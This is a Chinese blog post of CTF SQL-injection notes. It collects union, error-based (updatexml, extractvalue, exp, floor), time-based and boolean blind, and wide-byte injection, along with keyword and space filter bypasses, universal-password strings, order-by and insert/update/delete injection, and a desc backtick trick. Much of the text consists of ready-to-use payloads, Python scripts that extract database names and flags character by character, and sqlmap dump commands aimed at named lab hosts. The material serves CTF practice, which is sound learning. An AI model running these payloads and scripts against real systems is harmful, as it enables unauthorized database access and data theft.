CTF-SQL注入入门题型


参考

https://www.cdxy.me/?p=789
https://zhuanlan.zhihu.com/p/35245598
https://www.anquanke.com/post/id/104319
https://www.virtua1.cn/%E4%BB%8E%E4%B8%80%E9%81%93%E6%B3%A8%E5%85%A5%E9%A2%98%E7%9B%AE%E5%AD%A6%E4%B9%A0%E6%96%B0%E5%9E%8B%E5%BB%B6%E6%97%B6%E7%9B%B2%E6%B3%A8/

基础

回显
无回显
如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC
0x5b [
0x5d ]
0x7e ~
0x3a :
database() 数据库
user() 比如root@localhost
version()
@@hostname (用户)
@@datadir (数据库在文件的位置)
@@version (版本)
@@version_compile_OS (操作系统版本)
information_schema.tables
information_schema.columns
information_schema.schemata
union
select
concat
group_concat

截取

substring
SUBSTRING ( expression, start, length ) 
start 从1开始

例如:/**/and extractvalue(2,concat(':',(select substring(content,30,10) from note ) )) and '
content是字段名

substr(expression, start, length)
start从1开始
substr('abcd' from 3 for 1) 支持from for的形式
返回c

substring_index(str,delim,count)
substring_index(被截取字段,关键词,关键词出现的次数)
select substring_index('aaabbbccc','a','2');
返回 a

select substring_index('aaabbbccc','b','2');
返回 aaab
select substring_index('aaabbbccc','b','-2')
返回bccc

mid()
MID(column_name,start[,length])
支持from for的语法
mid('abcd' from 3 for 1)
返回c

left(str,length) 从左边开始截取字符串
right(str,length) 从右边开始截取字符串

if
https://www.cnblogs.com/xuhaojun/p/9141396.html
mid
MID() 函数用于从文本字段中提取字符。
SELECT MID(column_name,start[,length]) FROM table_name;
column_name	必需。要提取字符的字段。
start	必需。规定开始位置(起始值是 1)。
length	可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
ascii() 返回ascii码
ord() 返回ascii码

if条件语句加整数溢出进行盲注

DNS外传数据查询(data exfiltration through DNS channel)

sql时间盲注

笛卡尔积 heavy query

原理如方法的名字:大负荷查询。即用到一些消耗资源的方式让数据库的查询时间尽量变长。而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积,这样就可以让数据库的查询慢下来而最后找到系统表information_schema数据量比较大,可以满足要求,所以我们让他们做笛卡尔积。

import requests

url = "http://1.2.3.4/index.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"
data = ""
for i in range(1,1000):
    for j in range(33,127):
        #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j)
        #payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #flags
        #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag
        payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
        payload_url = url%(payload)
        try:
            r = requests.get(url=payload_url,timeout=8)
        except:
            data +=chr(j)
            print data
            break

benchmark

有时候sleep被过滤,我们可以用benchmark(count,expr)
benchmark()函数重复count次执行表达式expr。他可以被用于计算mysql处理表达式速度。结果值通常是0

select benchmark(10000000,sha(1)),也就是通过计算来延迟

GET_LOCK

sleep被过滤,也可以用这个函数
GET_LOCK(str,timeout)
设法使用字符串str给定的名字得到一个锁,超时为timeout秒

select GET_LOCK(‘a’,1)
利用范围不多,新会话开启并且保持长连接才行

RLIKE

通过rpad或repeat构造长字符串,加以计算量大的的pattern,通过repeat的参数可以控制延时长短

select concat(rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b’

例题

安恒周周练29 SLEEPCMS

sleep

例题

2019hgame-week3-sqli2

见2019hgamewp

?id='|| if(length(database())=8,sleep(5),0)%23
import requests
import string
dic='szexcuarity'
flag=''
for i in range(8):
	for ii in dic:
		url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring(database(),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"
		try:
			requests.get(url,timeout=3)
			print ii+"false"
		except:
			print ii
			flag+=ii
			break
print flag

import requests
import string
dic='mailrfgents,u'
flag=''
for i in range(15):
	for ii in dic:
		url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"
		try:
			requests.get(url,timeout=3)
		except:
			print ii
			flag+=ii
			break
print flag

127.0.0.1' and (select case when (length(database())=x then sleep(10) else 1 end) and '1'='1
and ‘1’='1
select case when () then sleep(10) else 1 end
' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1
+和and
(substring() from x for 1)

select case when条件触发

SQL CASE表达式是一种通用的条件表达式,类似于其他语句中的if/else语句
case when condition then result

select case when username=‘admin’ then ‘aaa’ else(sleep(3)) end from user;

爆数据库长度
import requests
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(10):
    payload={"X-Forwarded-For":"127.0.0.1' and (select case when (length(database())="+str(i)+")then sleep(10) else 1 end) and '1'='1"}
    try:
        print i
        a=requests.get(url,headers=payload,timeout=5)
    except:
        print i
        break
print i
爆数据库名
key的第一个+,为什么不能是and
import requests
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databaseName=''
str='wfatgebsdad125df4'+string.ascii_lowercase+string.digits
for i in range(1,5):
    for payload in str:
        key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)}
        try:
            print key
            r=requests.get(url,headers=key,timeout=4)
        except:
            databaseName+=payload
            print databaseName
            break
print databaseName
---------------------------------------------------------
import requests
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databaseName=''
str=string.ascii_lowercase+string.digits
for i in range(1,5):
    for payload in str:
        key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)}
        try:
            print key
            r=requests.get(url,headers=key,timeout=4)
        except:
            databaseName+=payload
            print databaseName
            break
print databaseName

bool盲注


宽字节注入

先尝试单引号?id=1’  ?id=1%27,发现页面输出的

 引号被转义了,在前面加了一个 \ 符号

尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了

 

构造:?id=1%df%27

报错

 

再构造:?id=1%df%df%23

查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入

 

开始爆数据库:

?id=1%df%27 order by 2#  

列数得知 2列。

爆库:

?id=-1%df%27 union select 1,database()%23

数据库:sae-chinalover

 

爆列表:

?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

 爆出这些表:

ctf,ctf2,ctf3,ctf4,gbksqli,news

 

爆字段:

?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

字段:id flag

 

查询关键字:

?id=-1%df%27 union select 1,flag from ctf4%23

 

利用Sqlmap:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"  --dbs

跑出库

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  --columns

跑字段:

 sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  -C flag --dump

跑出flag

 

例2:

 

靶机:安全实验室注入关3

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、

 

输入payload

?id=1%df%27 报错 

?id=1%df%df%23 页面正常,存在宽字节注入

 

爆列数

?id=1%df%27 order by 3%23

?id=1%df%27 order by 4%23

发现只有三列:

 

爆数据库名:

?id=1%df%27 union select 1,2,database()%23

库名:mydbs

 

爆表名:

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23

发现报错。。。可能有过滤

那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,要转对,有个网址16进制换是转错的。。浪费我好多时间)

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23

 

得出表名:sae_user_sqli4

爆字段:

sae_user_sqli4 ->7361655f757365725f73716c6934

 

?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23

 

得出三个字段:id,title_1,content_1

爆关键字:

?id=1%df%27 union select 1,group_concat(id),group_concat(content_1)  from sae_user_sqli4%23

 

得到flag

报错注入

报错函数

floor()

' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23

extractvalue()

select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
database()被替换为
(select group_concat(table_name) from information_schema.tables where table_schema=database() )

updatexml()

1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
database()替换为
group_concat(table_name) from information_schema.tables where table_schema=database()

exp()

username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '
' or  exp(~(select * from(select database())x)) or'
database()被替换为
group_concat(table_name) from information_schema.tables where table_schema regexp database()
username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())a)) or '  #利用这则表达式代替过滤的'='
username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema <> database()))a)) or '  #利用非非逆否命题绕过 '='

polygon()

multipoint()

multpolygon()

linestring()

multlinestring()

GeometryCollection()

例题

实验吧——加了料的报错注入(exp extractvalue报错注入)

爆数据库
username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
XPATH syntax error: ':error_based_hpf'
后台的查询语句就为
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '
去掉注释即为
select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
然后猜解表名,因为password屏蔽了=,所以用regexp
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '
XPATH syntax error: ':ffll44jj,users'
猜解列名
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '
XPATH syntax error: ':value'
猜解字段
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '

exp
username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '
DOUBLE value is out of range in 'exp(~((select 'flag{err0r_b4sed_sqli_+_hpf}' from dual)))'
updatexml
1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
1'/**/a<>nd/**/updatexml(1,co<>ncat(0x3a,(sel<>ect/**/user())),1)%23
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),0x7e),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(table_name)/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()),0x7e),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(colucolumn_namemn_name)/**/from/**/info<>rmation_schema.colucolumnsmns/**/where/**/table_name='flag_0d9a'),0x7e),1)#

异或注入

原理
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假

用处
可用于判断过滤
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0
回显 error

绕过

注释

;%00
#
-- +
双写
<>    o<>r     o<>rder     info<>rmation_schema.tables 

绕过=

regexp
where table_schema regexp database()
非非逆否命题
where !(table_schema <> database())

select substring((select user()) from 1 for 1);
select substring((select user()) from -1);
select id,ip from client_ip where 1>2 union select * from ((select user())a join (select version())b);

绕过空格

/**/
/***/
()
%0a

绕过

双写关键词,过滤空格

 ?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(table_name)/***/frfromom/***/information_schema.tables/***/where/***/table_
schema=database())%23  得到表名为: content

?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(c
olumn_name)/***/frfromom/***/information_schema.columns/***/where/***/ta
ble_name=0x636f6e74656e74)%23 得到列名为:id,context,title

?id=0/***/uniunionon/***/seleselectct/***/1,2,context/***/frfromom/***/content
%23 得到flag

常规注入

联合查询注入
fuzz 看过滤了啥 没有过滤啥

1
1'
1'%23
1' order by 1%23
1' order by 2%23
1' order by 3%23
1' order by 4%23
' union select 1,2,3%23
' union select group_concat(schema_name),2,3 from information_schema.schemata%23
' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()%23
' union select group_concat(column_name),2 from information_schema.columns where table_name='xiaohong'%23
' union select sign,2 from xiaohong%23

1 and 1=-1 union select 1,schema_name from information_schema.schemata
1 and 1=-1 union select 1,table_name from information_schema.tables
1 and 1=-1 union select 1,column_name from information_schema.columns

database()的地方替换

(select group_concat(table_name) from information_schema.tables where table_schema=database() )
group_concat(table_name) from information_schema.tables where table_schema regexp database()

SQL约束攻击

SQL语句对字符串处理的时候,字符串末尾的空格会被忽略
“test”和“test    ”是一样的

insert语句中,SQL都会根据SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串长度大于“n”个字符的话,那么仅使用字符串前“n”个字符


思路:
1.在注册处,注册名使用 admin          1  
2.insert插入到该数据库时,由于用户名过长,varchar()只会截取前面的字符串,即admin           (admin加上好多空格)
3.由于SQL处理字符串时,末尾的空格会被删除,所以相当于注册并且修改了admin的账号密码
4.最后使用指定新的admin账号密码登录即可看到flag

sqli格式化字符串逃逸漏洞


万能密码

select * from admin where username=’’ and password=’’

admin’ or ‘1’='1

admin’#

select * from admin where username='admin'#' and password='123'

‘+’

select * from admin where username=''+'' and password=''+''

0

select * from admin where username='0' and password='0'

Aaa’ = ’

\N

select \N from data;

所有数据都返回NULL

MD5

<!--
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
-->


构造 ?password=ffifdyop

ffifdyop字符串的前几位是'or'6,拼接刚才的SQL语句构成

select * from 'admin' where password=''or6xxxxxx

129581926211651571912466741651878684928
是一样的效果

order by注入

逻辑运算符
1 | 1=1

2 | 3=3

2 & 3=2

^
>>
<<

order by 子句对查询返回的结果按一列或者多列排序,默认是升序

在不知道列名的情况下可以通过列的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1和order=2是不一样的

order by可以根据多列排序,因此注入的语句不一定限制与order by的第一个参数,也可以通过逗号去新的列进行注入


order by if(0,name,sleep(2))
select * from data order by id|2;
select * from data order by id&2;
select * from data order by id^2;
还可以使用union,不过要加括号
(select 1,2,3 order by 3 asc)union(select 2,3,4);

例题
过滤了报错注入的函数,=号
chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^1')%2b1

chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^7')%2b1

同上也可以
chall.tasteless.eu/level1/index.php?dir=3,)union(select flag from level1_flag)%23

insert、update、delete注入

insert into users(id,username,password) values(1,'user','passwd');

insert into users(id,username,password) values(2,'attacker' or updatexml(1,concat(0x7e,database()),0),'passwd');

update data1 set year=11 or updatexml(1,concat(0x7e,database()),0) where id=3;

update data1 set year=11 or sleep(3) where id=3;
无效果

update data1 set year=11 and sleep(3) where id=3;
延迟就可以盲注

delete from users where id=2;

delete from users where id=2 or updatexml(1,concat(0x7e,database()),0);


一个insert题目的小思路:

猜测后端逻辑 insert into(name,text) values ('','')

通过insert into(name,text) values ('\',',database())  #  ','')
insert into(name,text) values ('\',',select flag from flag) #  ','')

desc相关

<?php
require('config.php');
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`" or Hacker());
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

``反引号作用是为了区分Mysql的保留字与普通字符而引入的符号

一般我们建表时候都会将表明或者库名加上反引号保证语句正常执行度

create database `user`;

如果不加反引号mysql会将user视为保留字而报错

desc `data` `id`; #可以执行成功,必须有空格
select 1,2 from data` `union select 2,2;#可以执行成功

根据上面的执行条件可以绕过desc语句

而ret[0]只打印数组的第一个值,可通过偏移 limit和offset

数据库计算是从0开始的

offset x 是跳过x个数据,limit Y是选取Y个数据

limit X,Y中表示跳过X个数据,读取Y个数据

paylaod:?table=test``union select database() limit 1,offset 1

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: CTFsql注入练习题是一种用于训练和测试SQL注入技巧的题目。在这些题目中,参与者需要通过注入恶意的SQL代码来绕过应用程序的安全机制,从而获取敏感信息或者执行未授权的操作。这些题目通常包含了不同的注入场景和技巧,例如基于时间的盲注、报错注入、布尔盲注、宽字节注入等等。参与者需要通过分析应用程序的行为和结构,构造合适的注入语句来实现攻击目标。在解决这些题目的过程中,参与者可以提高对SQL注入漏洞的理解和掌握,并学习如何防范和修复这类漏洞。 #### 引用[.reference_title] - *1* *2* [CTF-SQL注入入门题型](https://blog.csdn.net/weixin_43080961/article/details/121939366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [i 春秋 CTF训练营 web——SQL注入 1(字符型注入)(手动注入)](https://blog.csdn.net/AAAAAAAAAAAA66/article/details/121626527)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值